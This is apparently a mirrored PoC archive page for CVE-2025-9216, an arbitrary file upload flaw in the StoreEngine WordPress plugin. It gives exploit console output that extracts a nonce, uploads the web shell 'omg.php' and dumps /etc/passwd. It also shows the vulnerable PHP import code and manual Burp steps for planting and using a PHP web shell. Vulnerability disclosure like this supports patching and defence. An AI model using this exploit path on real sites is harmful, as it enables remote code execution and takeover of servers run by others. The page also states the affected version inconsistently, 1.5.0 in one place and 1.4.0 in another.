Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-9216 PoC — StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.5.0 - Authent

Source
Associated Vulnerability
Title:StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.5.0 - Authenticated (Subscriber+) Arbitrary File Upload (CVE-2025-9216)
Description:The StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the import() function in all versions up to, and including, 1.5.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Description
StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload
Readme
# StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - Authenticated (Subscriber+) Arbitrary File Upload

The [StoreEngine](https://wordpress.org/plugins/storeengine/) plugin contains a vulnerability in it's CSV Import/Export feature that allows **any authenticated user** (subscriber, author, editor, etc.) to upload arbitrary files and gain remote code execution. The vulnerability stems from two security flaws: (1) the CSV import endpoint lacks proper file validation checks, permission checks, and only relies on nonce verification for security, and (2) the `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. This combination allows any authenticated user to extract the nonce from frontend pages and use it to upload PHP web shells via the `storeengine_csv/import` endpoint, effectively granting subscriber+ users the ability to execute arbitrary code on the server.

## TL;DR Exploits
* A POC [CVE-2025-9216.py](./CVE-2025-9216.py) is provided to demonstrate an administrator uploading a web shell named `omg.php`.
  
```console
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}

Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php

Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>

```

## Details  

### **Vulnerable File Upload Function**
The `storeengine_csv/import` AJAX action calls the `import()` function on line [51](https://plugins.trac.wordpress.org/browser/storeengine/trunk/addons/csv/ajax/import.php#L51) of `/wp-content/plugins/storeengine/addons/csv/ajax/import.php`, which lacks proper permission checks and file type validation:

```php
public function import() {
    if ( ! isset( $_FILES['file'] ) ) {
        wp_send_json_error( 'No file uploaded.' );
    }

    $file   = $_FILES['file'];
    $folder = Helper::get_upload_dir() . '/csv/';

    if ( ! file_exists( $folder ) ) {
        wp_mkdir_p( $folder );
    }

    $filename = sanitize_file_name( $file['name'] );
    $target   = trailingslashit( $folder ) . $filename;

    if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
        wp_send_json_error( 'Failed to move uploaded file.' );
    }

    wp_send_json_success( [
        'filename' => $filename,
    ] );
}
```

The function only uses `sanitize_file_name()` to clean the filename but does not perform any file type validation or capability checks. This allows uploading any file type, including PHP files that can be executed by the web server.

### **Nonce Exposure Vulnerability**
The `storeengine_nonce` is exposed to **ALL frontend users** through the plugin's JavaScript. This occurs in the `_get_script_data()` method on line [279](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L279) of `/wp-content/plugins/storeengine/includes/assets.php`:

```php
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}
```

This nonce is then localized to frontend JavaScript via the `frontend_scripts()` method on line [120](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/assets.php#L120):

```php
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);
```

### **Nonce Verification**
The nonce is verified in the `AbstractRequestHandler::check_permission()` method on line [510](https://plugins.trac.wordpress.org/browser/storeengine/trunk/includes/classes/abstract-request-handler.php#L510) of `/wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php`:

```php
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}
```


This combination allows any authenticated user to upload arbitrary files, including PHP web shells for remote code execution.



## Manual Reproduction
1. Login to the admin panel and navigate to the StoreEngine plugin.
2. Go to the CSV Import section (if available in the admin interface).
3. Start up Burp Suite or a similar tool and begin intercepting the traffic.
4. Attempt to upload a file and intercept the `POST` request to `/wp-admin/admin-ajax.php` calling the `storeengine_csv/import` action.
5. Modify the request to include an arbitrary file, in the example below we're uploading a PHP web shell.
6. Send the request and receive `{"success":true,"data":{"filename":"shell.php"}}`.
7. Browse the web shell at `https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php` and execute code.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →